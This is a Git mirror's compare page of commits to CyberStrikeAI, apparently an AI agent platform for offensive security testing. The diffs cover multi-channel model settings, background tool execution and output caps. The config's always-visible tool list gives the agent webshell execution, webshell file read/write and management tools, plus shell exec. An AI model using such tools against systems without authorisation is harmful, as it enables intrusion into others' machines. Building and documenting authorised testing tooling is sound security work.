mirror of
https://github.com/Ed1s0nZ/CyberStrikeAI.git
synced 2026-08-02 17:08:49 +02:00
Compare commits
| Author | SHA1 | Date | |
|---|---|---|---|
|
|
a7190b8399 | ||
|
|
6f0eaf7667 | ||
|
|
f285d47404 | ||
|
|
273d63413b | ||
|
|
5656315b1e | ||
|
|
cee46f40fa | ||
|
|
4c55784dbc | ||
|
|
d304ff5c99 | ||
|
|
0cd4df3518 | ||
|
|
49333b856c | ||
|
|
a83490f29c | ||
|
|
dbc4ead040 | ||
|
|
4333cf1dd3 | ||
|
|
577c97aab0 | ||
|
|
93ab362b6f | ||
|
|
d9cb0b11c5 | ||
|
|
2d7f5322b3 | ||
|
|
3763da8773 | ||
|
|
3f2984b7c6 | ||
|
|
fbef2afd68 | ||
|
|
bccb324d2b | ||
|
|
b28fba3d68 | ||
|
|
8059b6d5b2 | ||
|
|
0821bb2911 | ||
|
|
e407f8203c | ||
|
|
a59253e828 | ||
|
|
4c989fbbe0 | ||
|
|
91239c9869 | ||
|
|
6892156b7c | ||
|
|
75489123f9 | ||
|
|
631ee6c447 | ||
|
|
7caf77683f | ||
|
|
fce4ffe3c4 | ||
|
|
75163f9269 | ||
|
|
06a9cea97d | ||
|
|
b62ba3b214 | ||
|
|
0062cebc6b | ||
|
|
25ceeb2535 | ||
|
|
0152781598 | ||
|
|
d3176f048d | ||
|
|
1fc522298a | ||
|
|
9464ffe105 | ||
|
|
599de1da0f | ||
|
|
1cb64ceaaa | ||
|
|
97d96d4d8b | ||
|
|
4bb12bbbdc | ||
|
|
c4a56c1ada | ||
|
|
8bd42a6f7a | ||
|
|
b54867e383 | ||
|
|
07229f0fde | ||
|
|
f30e8e7ca6 | ||
|
|
bfe1d28650 | ||
|
|
c925c2e74b | ||
|
|
4bbbe3bcf8 | ||
|
|
944957d4c5 | ||
|
|
fa9229b435 | ||
|
|
b707ea4e44 | ||
|
|
18824857be | ||
|
|
78c572927b | ||
|
|
cea8d4bcc0 | ||
|
|
25fac216ea | ||
|
|
e5507ed8d0 | ||
|
|
22cbc82ccc | ||
|
|
462aa2fb15 | ||
|
|
b1749ace16 | ||
|
|
5a48e2893d | ||
|
|
d7181cb1cd | ||
|
|
2b63e3b633 | ||
|
|
2de6073d34 | ||
|
|
ec3f881587 |
@@ -118,6 +118,7 @@ CyberStrikeAI connects planning, execution, human oversight, evidence, and repla
|
|||||||
|
|
||||||
- 🧰 **Security tools** include 100+ curated YAML recipes with custom extensions and role-scoped access.
|
- 🧰 **Security tools** include 100+ curated YAML recipes with custom extensions and role-scoped access.
|
||||||
- 🔌 **MCP integration** supports HTTP, stdio, SSE, external federation, and dynamic tool discovery.
|
- 🔌 **MCP integration** supports HTTP, stdio, SSE, external federation, and dynamic tool discovery.
|
||||||
|
- ⏱️ **Resilient tool execution** runs blocking MCP/tool calls in workers with bounded agent waits, resumable `execution_id` polling, cancellation, per-server circuit breakers, concurrency limits, and unified output caps.
|
||||||
- 🎯 **Agent Skills** follow the standard Skill layout and support progressive, on-demand loading.
|
- 🎯 **Agent Skills** follow the standard Skill layout and support progressive, on-demand loading.
|
||||||
- 📚 **Knowledge base** combines query rewriting, vector retrieval, reranking, and result post-processing.
|
- 📚 **Knowledge base** combines query rewriting, vector retrieval, reranking, and result post-processing.
|
||||||
- 🖼️ **Vision analysis** uses a separate vision model for screenshots, captchas, and UI while retaining text summaries only.
|
- 🖼️ **Vision analysis** uses a separate vision model for screenshots, captchas, and UI while retaining text summaries only.
|
||||||
@@ -127,7 +128,7 @@ CyberStrikeAI connects planning, execution, human oversight, evidence, and repla
|
|||||||
- 🧑⚖️ **Human in the loop** provides approval modes, tool allowlists, audit-agent review, and traceable decisions.
|
- 🧑⚖️ **Human in the loop** provides approval modes, tool allowlists, audit-agent review, and traceable decisions.
|
||||||
- 🔐 **Platform RBAC** supports multiple users, system and custom roles, scoped permissions, ownership, and explicit assignments.
|
- 🔐 **Platform RBAC** supports multiple users, system and custom roles, scoped permissions, ownership, and explicit assignments.
|
||||||
- 🔒 **Security and audit** provide authenticated access, audit logs, SQLite persistence, and operational evidence retention.
|
- 🔒 **Security and audit** provide authenticated access, audit logs, SQLite persistence, and operational evidence retention.
|
||||||
- 📄 **Result governance** supports pagination, compression, archival, and search for large tool outputs.
|
- 📄 **Result governance** stores the same capped tool result seen by the agent, protects resume paths from oversized historical output, and adds UI safeguards for large detail views. See [Tool Execution Governance](docs/en-US/tool-execution-governance.md).
|
||||||
|
|
||||||
### Security operations
|
### Security operations
|
||||||
|
|
||||||
@@ -217,16 +218,23 @@ The `run.sh` script will automatically:
|
|||||||
**Networking defaults:** `run.sh` starts the server with **`--https`** and the repo **`config.yaml`** (local self-signed TLS; better for many concurrent streams). Use **`./run.sh --http`** for plain HTTP. In production, set **`server.tls_cert_path`** / **`server.tls_key_path`** in **`config.yaml`** (see comments there). For manual runs, add **`--https`** or **`CYBERSTRIKE_HTTPS=1`**; if **`-config`** is wrong, the binary prints a short usage hint on stderr.
|
**Networking defaults:** `run.sh` starts the server with **`--https`** and the repo **`config.yaml`** (local self-signed TLS; better for many concurrent streams). Use **`./run.sh --http`** for plain HTTP. In production, set **`server.tls_cert_path`** / **`server.tls_key_path`** in **`config.yaml`** (see comments there). For manual runs, add **`--https`** or **`CYBERSTRIKE_HTTPS=1`**; if **`-config`** is wrong, the binary prints a short usage hint on stderr.
|
||||||
|
|
||||||
**First-Time Configuration:**
|
**First-Time Configuration:**
|
||||||
1. **Configure OpenAI-compatible API** (required before first use)
|
1. **Configure AI channels** (required before first use)
|
||||||
- After launch, open **`https://127.0.0.1:8080/`** (or **`https://localhost:8080/`**; replace **8080** with `server.port` in `config.yaml`) and accept the self-signed certificate warning once. If you used `./run.sh --http`, use **`http://`** instead.
|
- After launch, open **`https://127.0.0.1:8080/`** (or **`https://localhost:8080/`**; replace **8080** with `server.port` in `config.yaml`) and accept the self-signed certificate warning once. If you used `./run.sh --http`, use **`http://`** instead.
|
||||||
- Go to `Settings` → Fill in your API credentials:
|
- Go to `System Settings` → `Basic Settings` → `AI Channel Configuration`, add or edit a channel, then fill in provider, Base URL, API key, model, and token limits. Click **Save changes**. The left channel list supports setting a default, copy, delete, and bulk probe.
|
||||||
```yaml
|
```yaml
|
||||||
openai:
|
ai:
|
||||||
api_key: "${OPENAI_API_KEY}"
|
default_channel: openai-main
|
||||||
base_url: "https://api.openai.com/v1" # or https://api.deepseek.com/v1
|
channels:
|
||||||
model: "gpt-4o" # or deepseek-chat, claude-3-opus, etc.
|
openai-main:
|
||||||
|
name: OpenAI Main
|
||||||
|
provider: openai_compatible
|
||||||
|
api_key: "${OPENAI_API_KEY}"
|
||||||
|
base_url: "https://api.openai.com/v1" # or https://api.deepseek.com/v1
|
||||||
|
model: "gpt-4o" # or deepseek-chat, qwen3-max, etc.
|
||||||
|
max_total_tokens: 120000
|
||||||
|
max_completion_tokens: 16384
|
||||||
```
|
```
|
||||||
- Or edit `config.yaml` directly before launching
|
- Or edit `config.yaml` directly before launching. `ai.default_channel` is used for new conversations and tasks that do not explicitly select a channel; the chat page can also select any saved channel per session.
|
||||||
2. **Login** - On first startup the console prints an auto-generated initial `admin` password; create accounts from **Platform permissions → User management**
|
2. **Login** - On first startup the console prints an auto-generated initial `admin` password; create accounts from **Platform permissions → User management**
|
||||||
3. **Install security tools (optional)** - Install tools from `tools/` as needed; missing tools are skipped or substituted at runtime. Common examples:
|
3. **Install security tools (optional)** - Install tools from `tools/` as needed; missing tools are skipped or substituted at runtime. Common examples:
|
||||||
|
|
||||||
@@ -280,19 +288,23 @@ Requirements / tips:
|
|||||||
|
|
||||||
## Configuration
|
## Configuration
|
||||||
|
|
||||||
Use [`config.example.yaml`](config.example.yaml) as the authoritative configuration template and copy only the values required for your environment. At minimum, configure the server and an OpenAI-compatible model provider:
|
Use [`config.example.yaml`](config.example.yaml) as the authoritative configuration template and copy only the values required for your environment. At minimum, configure the server and one AI channel:
|
||||||
|
|
||||||
```yaml
|
```yaml
|
||||||
server:
|
server:
|
||||||
host: "127.0.0.1"
|
host: "127.0.0.1"
|
||||||
port: 8080
|
port: 8080
|
||||||
openai:
|
ai:
|
||||||
api_key: "${OPENAI_API_KEY}"
|
default_channel: openai-main
|
||||||
base_url: "https://api.openai.com/v1"
|
channels:
|
||||||
model: "your-model"
|
openai-main:
|
||||||
|
provider: openai_compatible
|
||||||
|
api_key: "${OPENAI_API_KEY}"
|
||||||
|
base_url: "https://api.openai.com/v1"
|
||||||
|
model: "your-model"
|
||||||
```
|
```
|
||||||
|
|
||||||
Do not commit real credentials. Review the [configuration reference](docs/en-US/configuration.md), [recommended profiles](docs/en-US/configuration-profiles.md), and [security hardening guide](docs/en-US/security-hardening.md) before exposing the service beyond localhost.
|
`openai` is a backward-compatible runtime field; maintain new model settings in `ai.channels`. Do not commit real credentials. Review the [configuration reference](docs/en-US/configuration.md), [recommended profiles](docs/en-US/configuration-profiles.md), and [security hardening guide](docs/en-US/security-hardening.md) before exposing the service beyond localhost.
|
||||||
|
|
||||||
## Related documentation
|
## Related documentation
|
||||||
|
|
||||||
|
|||||||
+26
-14
@@ -117,6 +117,7 @@ CyberStrikeAI 将规划、执行、人工监督、证据与复盘连接在同一
|
|||||||
|
|
||||||
- 🧰 **安全工具**:提供 100+ 精选 YAML 工具配方,支持自定义扩展和按角色控制。
|
- 🧰 **安全工具**:提供 100+ 精选 YAML 工具配方,支持自定义扩展和按角色控制。
|
||||||
- 🔌 **MCP 集成**:支持 HTTP、stdio、SSE、外部 MCP 联邦和动态工具发现。
|
- 🔌 **MCP 集成**:支持 HTTP、stdio、SSE、外部 MCP 联邦和动态工具发现。
|
||||||
|
- ⏱️ **弹性工具执行**:阻塞型 MCP/工具调用交给 worker 执行,Agent 只有限等待;支持 `execution_id` 多轮等待、主动取消、单 server 熔断、并发限制和统一输出兜底。
|
||||||
- 🎯 **Agent Skills**:遵循标准 Skill 目录结构,支持渐进式按需加载。
|
- 🎯 **Agent Skills**:遵循标准 Skill 目录结构,支持渐进式按需加载。
|
||||||
- 📚 **知识库**:组合查询改写、向量检索、精排和结果后处理能力。
|
- 📚 **知识库**:组合查询改写、向量检索、精排和结果后处理能力。
|
||||||
- 🖼️ **视觉分析**:使用独立视觉模型分析截图、验证码和 UI,对话中仅保留文字摘要。
|
- 🖼️ **视觉分析**:使用独立视觉模型分析截图、验证码和 UI,对话中仅保留文字摘要。
|
||||||
@@ -126,7 +127,7 @@ CyberStrikeAI 将规划、执行、人工监督、证据与复盘连接在同一
|
|||||||
- 🧑⚖️ **人机协同**:支持审批模式、工具白名单、审计 Agent 复核和决策追踪。
|
- 🧑⚖️ **人机协同**:支持审批模式、工具白名单、审计 Agent 复核和决策追踪。
|
||||||
- 🔐 **平台 RBAC**:支持多用户、系统及自定义角色、权限 Scope、资源归属和显式授权。
|
- 🔐 **平台 RBAC**:支持多用户、系统及自定义角色、权限 Scope、资源归属和显式授权。
|
||||||
- 🔒 **安全与审计**:提供登录保护、审计日志、SQLite 持久化和行动证据留存。
|
- 🔒 **安全与审计**:提供登录保护、审计日志、SQLite 持久化和行动证据留存。
|
||||||
- 📄 **结果治理**:支持大结果分页、压缩、归档和检索。
|
- 📄 **结果治理**:数据库保存与 Agent 实际看到的同一份兜底后工具结果,恢复路径会再次防御历史超大输出,前端详情也有展示保护。详见[工具执行治理](docs/zh-CN/tool-execution-governance.md)。
|
||||||
|
|
||||||
### 安全运营管理
|
### 安全运营管理
|
||||||
|
|
||||||
@@ -216,16 +217,23 @@ chmod +x run.sh && ./run.sh
|
|||||||
**网络默认:** `run.sh` 会以 **`--https`** 并传入项目根 **`config.yaml`** 启动(本机自签证书,多路流式场景更稳)。只要明文 HTTP 用 **`./run.sh --http`**。生产环境在 **`config.yaml`** 的 **`server.tls_cert_path` / `server.tls_key_path`** 配正式证书(见文件内注释)。手动启动可加 **`--https`** 或环境变量 **`CYBERSTRIKE_HTTPS=1`**;`-config` 写错时程序会在终端提示正确写法。
|
**网络默认:** `run.sh` 会以 **`--https`** 并传入项目根 **`config.yaml`** 启动(本机自签证书,多路流式场景更稳)。只要明文 HTTP 用 **`./run.sh --http`**。生产环境在 **`config.yaml`** 的 **`server.tls_cert_path` / `server.tls_key_path`** 配正式证书(见文件内注释)。手动启动可加 **`--https`** 或环境变量 **`CYBERSTRIKE_HTTPS=1`**;`-config` 写错时程序会在终端提示正确写法。
|
||||||
|
|
||||||
**首次配置:**
|
**首次配置:**
|
||||||
1. **配置 AI 模型 API**(首次使用前必填)
|
1. **配置 AI 通道**(首次使用前必填)
|
||||||
- 启动后在浏览器打开 **`https://127.0.0.1:8080/`**(或 **`https://localhost:8080/`**;端口以 `config.yaml` 中 **`server.port`** 为准,默认 8080),并按提示信任自签证书。若使用 **`./run.sh --http`**,则改用 **`http://`** 访问。
|
- 启动后在浏览器打开 **`https://127.0.0.1:8080/`**(或 **`https://localhost:8080/`**;端口以 `config.yaml` 中 **`server.port`** 为准,默认 8080),并按提示信任自签证书。若使用 **`./run.sh --http`**,则改用 **`http://`** 访问。
|
||||||
- 进入 `设置` → 填写 API 配置信息:
|
- 进入 `系统设置` → `基本设置` → `AI 通道配置`,新增或编辑通道,填写 API 提供商、Base URL、API Key、模型和 Token 上限,点击 **保存更改**。左侧通道列表支持设为默认、复制、删除和批量探活。
|
||||||
```yaml
|
```yaml
|
||||||
openai:
|
ai:
|
||||||
api_key: "${OPENAI_API_KEY}"
|
default_channel: openai-main
|
||||||
base_url: "https://api.openai.com/v1" # 或 https://api.deepseek.com/v1
|
channels:
|
||||||
model: "gpt-4o" # 或 deepseek-chat, claude-3-opus 等
|
openai-main:
|
||||||
|
name: OpenAI Main
|
||||||
|
provider: openai_compatible
|
||||||
|
api_key: "${OPENAI_API_KEY}"
|
||||||
|
base_url: "https://api.openai.com/v1" # 或 https://api.deepseek.com/v1
|
||||||
|
model: "gpt-4o" # 或 deepseek-chat, qwen3-max 等
|
||||||
|
max_total_tokens: 120000
|
||||||
|
max_completion_tokens: 16384
|
||||||
```
|
```
|
||||||
- 或启动前直接编辑 `config.yaml` 文件
|
- 或启动前直接编辑 `config.yaml` 文件。`ai.default_channel` 会作为新对话和未显式选择通道任务的默认模型;对话页也可以在会话设置里选择某个已保存通道。
|
||||||
2. **登录系统** - 首次启动时控制台会显示自动生成的 `admin` 初始密码;也可在「平台权限 → 用户管理」中创建账号
|
2. **登录系统** - 首次启动时控制台会显示自动生成的 `admin` 初始密码;也可在「平台权限 → 用户管理」中创建账号
|
||||||
3. **安装安全工具(可选)** - 按需安装 `tools/` 目录中的工具;未安装的工具在执行时会自动跳过或改用替代方案。常用示例:
|
3. **安装安全工具(可选)** - 按需安装 `tools/` 目录中的工具;未安装的工具在执行时会自动跳过或改用替代方案。常用示例:
|
||||||
|
|
||||||
@@ -278,19 +286,23 @@ go build -o cyberstrike-ai cmd/server/main.go
|
|||||||
|
|
||||||
## 配置
|
## 配置
|
||||||
|
|
||||||
请以 [`config.example.yaml`](config.example.yaml) 作为权威配置模板,只复制当前环境需要的配置。最少需要配置服务监听地址和一个 OpenAI 兼容模型:
|
请以 [`config.example.yaml`](config.example.yaml) 作为权威配置模板,只复制当前环境需要的配置。最少需要配置服务监听地址和一个 AI 通道:
|
||||||
|
|
||||||
```yaml
|
```yaml
|
||||||
server:
|
server:
|
||||||
host: "127.0.0.1"
|
host: "127.0.0.1"
|
||||||
port: 8080
|
port: 8080
|
||||||
openai:
|
ai:
|
||||||
api_key: "${OPENAI_API_KEY}"
|
default_channel: openai-main
|
||||||
base_url: "https://api.openai.com/v1"
|
channels:
|
||||||
model: "your-model"
|
openai-main:
|
||||||
|
provider: openai_compatible
|
||||||
|
api_key: "${OPENAI_API_KEY}"
|
||||||
|
base_url: "https://api.openai.com/v1"
|
||||||
|
model: "your-model"
|
||||||
```
|
```
|
||||||
|
|
||||||
不要提交真实凭证。将服务暴露到 localhost 之外前,请阅读[配置参考](docs/zh-CN/configuration.md)、[推荐配置画像](docs/zh-CN/configuration-profiles.md)和[安全加固指南](docs/zh-CN/security-hardening.md)。
|
`openai` 是兼容旧版本的运行时字段,新配置优先维护 `ai.channels`。不要提交真实凭证。将服务暴露到 localhost 之外前,请阅读[配置参考](docs/zh-CN/configuration.md)、[推荐配置画像](docs/zh-CN/configuration-profiles.md)和[安全加固指南](docs/zh-CN/security-hardening.md)。
|
||||||
|
|
||||||
## 相关文档
|
## 相关文档
|
||||||
|
|
||||||
|
|||||||
@@ -34,6 +34,7 @@ func main() {
|
|||||||
|
|
||||||
// 注册工具
|
// 注册工具
|
||||||
executor.RegisterTools(mcpServer)
|
executor.RegisterTools(mcpServer)
|
||||||
|
mcp.RegisterExecutionControlTools(mcpServer, nil)
|
||||||
|
|
||||||
log.Logger.Info("MCP服务器(stdio模式)已启动,等待消息...")
|
log.Logger.Info("MCP服务器(stdio模式)已启动,等待消息...")
|
||||||
|
|
||||||
|
|||||||
+35
-25
@@ -10,7 +10,7 @@
|
|||||||
# ============================================
|
# ============================================
|
||||||
|
|
||||||
# 前端显示的版本号(可选,不填则显示默认版本)
|
# 前端显示的版本号(可选,不填则显示默认版本)
|
||||||
version: "v1.7.5"
|
version: "v1.7.8"
|
||||||
# 服务器配置
|
# 服务器配置
|
||||||
server:
|
server:
|
||||||
host: 0.0.0.0 # 监听地址,0.0.0.0 表示监听所有网络接口
|
host: 0.0.0.0 # 监听地址,0.0.0.0 表示监听所有网络接口
|
||||||
@@ -49,35 +49,40 @@ monitor:
|
|||||||
# 对话相关配置
|
# 对话相关配置
|
||||||
# ============================================
|
# ============================================
|
||||||
|
|
||||||
# AI 模型配置(支持 OpenAI 兼容 API)
|
# AI 通道配置(支持保存多个 OpenAI 兼容 / Claude 通道)
|
||||||
# 必填项:api_key, base_url, model 必须填写才能正常运行
|
# default_channel 指定新对话与未显式选择通道的任务使用哪个通道。
|
||||||
|
# 每个 channels.<id> 必填:api_key, base_url, model。
|
||||||
# 支持的 API 服务商:
|
# 支持的 API 服务商:
|
||||||
# - OpenAI: https://api.openai.com/v1
|
# - OpenAI: https://api.openai.com/v1
|
||||||
# - DeepSeek: https://api.deepseek.com/v1
|
# - DeepSeek: https://api.deepseek.com/v1
|
||||||
# - 其他兼容 OpenAI 协议的 API
|
# - 其他兼容 OpenAI 协议的 API
|
||||||
# 常用模型: gpt-4, gpt-3.5-turbo, deepseek-chat, claude-3-opus 等
|
# 常用模型: gpt-4, gpt-3.5-turbo, deepseek-chat, claude-3-opus 等
|
||||||
# provider: 可选值 openai(默认) | claude(自动桥接到 Anthropic Claude Messages API)
|
# provider: 可选值 openai_compatible(默认) | claude(自动桥接到 Anthropic Claude Messages API)
|
||||||
openai:
|
ai:
|
||||||
provider: openai # API 提供商: openai(默认,兼容OpenAI协议) | claude(自动桥接到Anthropic Claude Messages API)
|
default_channel: qwen-max
|
||||||
base_url: https://dashscope.aliyuncs.com/compatible-mode/v1 # API 基础 URL(必填)
|
channels:
|
||||||
api_key: sk-xxxxxxx # API 密钥(必填)
|
qwen-max:
|
||||||
model: qwen3-max # 模型名称(必填)
|
name: Qwen Max
|
||||||
max_total_tokens: 120000 # LLM 相关上下文的最大 Token 数限制(内存压缩和攻击链构建会共用此配置)
|
provider: openai_compatible
|
||||||
max_completion_tokens: 16384 # 单次生成上限(含 reasoning 与可见输出),防止依赖网关隐式默认值
|
base_url: https://dashscope.aliyuncs.com/compatible-mode/v1
|
||||||
# Eino 路径模型推理:DeepSeek/OpenAI 为 thinking / reasoning_effort;Claude 4.6+ 为 adaptive + output_config.effort(仅显式配置 effort 时下发);3.7 为 enabled+budget_tokens:10000(文档示例),effort 不映射,自定义预算用 extra_request_fields
|
api_key: sk-xxxxxxx
|
||||||
reasoning:
|
model: qwen3-max
|
||||||
mode: on # auto | on | off;off:OpenAI/Claude 不附加推理字段,DeepSeek 发送 thinking.type=disabled(其默认开启思考)
|
max_total_tokens: 120000
|
||||||
effort: high # low | medium | high | max | xhigh(最高档:OpenAI 常用 xhigh,部分网关用 max,原样下发);空表示不指定
|
max_completion_tokens: 16384
|
||||||
allow_client_reasoning: true # false 时忽略对话请求体 reasoning,仅以下方为准
|
# Eino 路径模型推理:DeepSeek/OpenAI 为 thinking / reasoning_effort;Claude 4.6+ 为 adaptive + output_config.effort(仅显式配置 effort 时下发);3.7 为 enabled+budget_tokens:10000(文档示例),effort 不映射,自定义预算用 extra_request_fields
|
||||||
profile: openai_compat # auto | deepseek_compat | openai_compat | output_config_effort
|
reasoning:
|
||||||
# extra_request_fields: {} # 可选:管理员自定义根级 JSON 片段(高级)
|
mode: on # auto | on | off;off:OpenAI/Claude 不附加推理字段,DeepSeek 发送 thinking.type=disabled(其默认开启思考)
|
||||||
|
effort: high # low | medium | high | max | xhigh(最高档:OpenAI 常用 xhigh,部分网关用 max,原样下发);空表示不指定
|
||||||
|
allow_client_reasoning: true # false 时忽略对话请求体 reasoning,仅以下方为准
|
||||||
|
profile: openai_compat # auto | deepseek_compat | openai_compat | output_config_effort
|
||||||
|
# extra_request_fields: {} # 可选:管理员自定义根级 JSON 片段(高级)
|
||||||
# 视觉分析(analyze_image MCP 工具;图片仅在单次 VL 调用中出现,Agent 上下文只保留文字摘要)
|
# 视觉分析(analyze_image MCP 工具;图片仅在单次 VL 调用中出现,Agent 上下文只保留文字摘要)
|
||||||
vision:
|
vision:
|
||||||
enabled: false # true 且 model 非空时注册 analyze_image
|
enabled: false # true 且 model 非空时注册 analyze_image
|
||||||
model: qwen-vl # VL 模型名(enabled 时必填)
|
model: qwen-vl # VL 模型名(enabled 时必填)
|
||||||
api_key: "" # 留空则复用 openai.api_key
|
api_key: "" # 留空则复用默认 AI 通道 api_key
|
||||||
base_url: "" # 留空则复用 openai.base_url
|
base_url: "" # 留空则复用默认 AI 通道 base_url
|
||||||
provider: # 留空则复用 openai.provider(openai | claude)
|
provider: # 留空则复用默认 AI 通道 provider(openai_compatible | claude)
|
||||||
max_image_bytes: 5242880 # 原始文件上限(字节),默认 5MB
|
max_image_bytes: 5242880 # 原始文件上限(字节),默认 5MB
|
||||||
max_dimension: 2048 # 长边缩放像素
|
max_dimension: 2048 # 长边缩放像素
|
||||||
jpeg_quality: 82
|
jpeg_quality: 82
|
||||||
@@ -107,6 +112,11 @@ shodan:
|
|||||||
agent:
|
agent:
|
||||||
max_iterations: 12000 # 全局最大迭代次数(单代理 / Deep / Supervisor / Plan-Execute 主执行器 / 子代理均沿用;agents/*.md 中 max_iterations>0 可单独覆盖)
|
max_iterations: 12000 # 全局最大迭代次数(单代理 / Deep / Supervisor / Plan-Execute 主执行器 / 子代理均沿用;agents/*.md 中 max_iterations>0 可单独覆盖)
|
||||||
tool_timeout_minutes: 60 # 单次工具执行最大时长(分钟),超时自动终止;0 表示不限制(不推荐,易出现长时间挂起)
|
tool_timeout_minutes: 60 # 单次工具执行最大时长(分钟),超时自动终止;0 表示不限制(不推荐,易出现长时间挂起)
|
||||||
|
tool_wait_timeout_seconds: 300 # 工具本轮最多等待(秒);到时返回 execution_id,worker 继续后台执行,可用 wait_tool_execution 继续等待;0=等到完成
|
||||||
|
external_mcp_max_concurrent_per_server: 5 # 单个外部 MCP server 同时运行的工具数;0=默认2;负数=不限制
|
||||||
|
external_mcp_max_concurrent_total: 16 # 所有外部 MCP 工具全局并发上限;0=默认16;负数=不限制
|
||||||
|
external_mcp_circuit_failure_threshold: 15 # 单个外部 MCP server 连续失败多少次后熔断;0=默认3;负数=关闭熔断
|
||||||
|
external_mcp_circuit_cooldown_seconds: 60 # 熔断冷却秒数;0=默认60
|
||||||
shell_no_output_timeout_seconds: 1200 # execute/exec 连续无新输出则终止(秒);通用防挂死;0=默认300;-1=关闭
|
shell_no_output_timeout_seconds: 1200 # execute/exec 连续无新输出则终止(秒);通用防挂死;0=默认300;-1=关闭
|
||||||
workspace_root_dir: "" # 会话工作目录根路径(curl/wget 下载、read_file/glob/grep 本地分析);空=tmp/workspace,其下按 projects/{id} 或 conversations/{id} 隔离;勿用系统 /tmp
|
workspace_root_dir: "" # 会话工作目录根路径(curl/wget 下载、read_file/glob/grep 本地分析);空=tmp/workspace,其下按 projects/{id} 或 conversations/{id} 隔离;勿用系统 /tmp
|
||||||
# system_prompt_path: prompts/single-agent.md # 可选:单代理系统提示文件(相对本配置文件所在目录);非空且可读时替换内置提示
|
# system_prompt_path: prompts/single-agent.md # 可选:单代理系统提示文件(相对本配置文件所在目录);非空且可读时替换内置提示
|
||||||
@@ -214,13 +224,13 @@ multi_agent:
|
|||||||
tool_search_enable: true # true:工具数 ≥ min 时启用 tool_search,仅前 N 个工具常驻,其余按正则按需解锁,省 token、减误选;false:全量工具进上下文
|
tool_search_enable: true # true:工具数 ≥ min 时启用 tool_search,仅前 N 个工具常驻,其余按正则按需解锁,省 token、减误选;false:全量工具进上下文
|
||||||
tool_search_min_tools: 20 # 达到该数量才启用 tool_search(避免工具很少时多此一举);与 always_visible 配合使用
|
tool_search_min_tools: 20 # 达到该数量才启用 tool_search(避免工具很少时多此一举);与 always_visible 配合使用
|
||||||
tool_search_always_visible: 12 # 始终直接暴露给模型的工具个数(顺序与角色工具列表一致);其余工具进入动态池,需 tool_search 解锁
|
tool_search_always_visible: 12 # 始终直接暴露给模型的工具个数(顺序与角色工具列表一致);其余工具进入动态池,需 tool_search 解锁
|
||||||
tool_search_always_visible_tools: [read_file, glob, grep, analyze_image, write_file, edit_file, execute, task, transfer_to_agent, exit, write_todos, skill, tool_search, TaskCreate, TaskGet, TaskUpdate, TaskList, record_vulnerability, list_vulnerabilities, get_vulnerability, list_knowledge_risk_types, search_knowledge_base, webshell_exec, webshell_file_list, webshell_file_read, webshell_file_write, manage_webshell_list, manage_webshell_add, manage_webshell_update, manage_webshell_delete, manage_webshell_test, batch_task_list, batch_task_get, batch_task_start, batch_task_rerun, batch_task_pause, batch_task_update_metadata, batch_task_update_schedule, batch_task_schedule_enabled, batch_task_update_task, batch_task_remove_task, batch_task_delete, batch_task_create, batch_task_add_task, http-framework-test, exec] # 后端内置常驻工具白名单(优先于 always_visible 数量策略)
|
tool_search_always_visible_tools: [read_file, glob, grep, analyze_image, write_file, edit_file, execute, task, transfer_to_agent, exit, write_todos, skill, tool_search, TaskCreate, TaskGet, TaskUpdate, TaskList, record_vulnerability, list_vulnerabilities, get_vulnerability, get_tool_execution, wait_tool_execution, cancel_tool_execution, list_knowledge_risk_types, search_knowledge_base, webshell_exec, webshell_file_list, webshell_file_read, webshell_file_write, manage_webshell_list, manage_webshell_add, manage_webshell_update, manage_webshell_delete, manage_webshell_test, batch_task_list, batch_task_get, batch_task_start, batch_task_rerun, batch_task_pause, batch_task_update_metadata, batch_task_update_schedule, batch_task_schedule_enabled, batch_task_update_task, batch_task_remove_task, batch_task_delete, batch_task_create, batch_task_add_task, http-framework-test, exec] # 后端内置常驻工具白名单(优先于 always_visible 数量策略)
|
||||||
plantask_enable: true # P0:主代理挂载 TaskCreate/Get/Update/List 结构化任务板;需 eino_skills 可用且 skills_dir 存在
|
plantask_enable: true # P0:主代理挂载 TaskCreate/Get/Update/List 结构化任务板;需 eino_skills 可用且 skills_dir 存在
|
||||||
plantask_rel_dir: .eino/plantask # 任务文件相对 skills_dir,按会话分子目录:skills/.eino/plantask/<conversationId>/
|
plantask_rel_dir: .eino/plantask # 任务文件相对 skills_dir,按会话分子目录:skills/.eino/plantask/<conversationId>/
|
||||||
reduction_enable: true # true:大工具输出截断/落盘以控上下文;后端会独立创建,不依赖 eino_skills 是否启用
|
reduction_enable: true # true:大工具输出截断并落盘到本地文件(tmp/reduction/.../trunc/<id>),上下文只留 <persisted-output> 预览;不依赖 eino_skills
|
||||||
reduction_max_length_for_trunc: 50000 # 单条工具结果超过该字符数(bytes)时截断并落盘(由 reduction 中间件处理)
|
reduction_max_length_for_trunc: 100000 # 单条工具结果超过该字节数时:全文写入本地 trunc 文件,返回带路径的截断预览(MCP/exec 与 reduction 共用此阈值)
|
||||||
reduction_max_tokens_for_clear: 60000 # 历史工具结果清理阈值(tokens),应低于 max_total_tokens * summarization_trigger_ratio
|
reduction_max_tokens_for_clear: 60000 # 历史工具结果清理阈值(tokens),应低于 max_total_tokens * summarization_trigger_ratio
|
||||||
reduction_root_dir: "" # 非空:截断/清理内容落盘根路径;空:使用系统临时目录下按会话隔离的默认路径
|
reduction_root_dir: "" # 非空:截断/清理内容落盘根路径;空:项目目录下 tmp/reduction(按会话/项目隔离)
|
||||||
reduction_clear_exclude: [] # 不参与「清理阶段」的工具名额外列表(会与 task/transfer/exit 等内置排除项合并);需要时用 YAML 列表填写
|
reduction_clear_exclude: [] # 不参与「清理阶段」的工具名额外列表(会与 task/transfer/exit 等内置排除项合并);需要时用 YAML 列表填写
|
||||||
reduction_sub_agents: true # true:子代理也挂 reduction;false:仅编排主代理使用 reduction
|
reduction_sub_agents: true # true:子代理也挂 reduction;false:仅编排主代理使用 reduction
|
||||||
summarization_trigger_ratio: 0.8 # summarization 触发比例(max_total_tokens * ratio),建议 0.75~0.85
|
summarization_trigger_ratio: 0.8 # summarization 触发比例(max_total_tokens * ratio),建议 0.75~0.85
|
||||||
|
|||||||
@@ -21,6 +21,7 @@ CyberStrikeAI documentation is organized by user journey. Start with deployment,
|
|||||||
- [Skills 指南](zh-CN/skills-guide.md)
|
- [Skills 指南](zh-CN/skills-guide.md)
|
||||||
- [Eino 多代理](zh-CN/MULTI_AGENT_EINO.md)
|
- [Eino 多代理](zh-CN/MULTI_AGENT_EINO.md)
|
||||||
- [工作流](zh-CN/workflow-graph.md)
|
- [工作流](zh-CN/workflow-graph.md)
|
||||||
|
- [工具执行治理](zh-CN/tool-execution-governance.md)
|
||||||
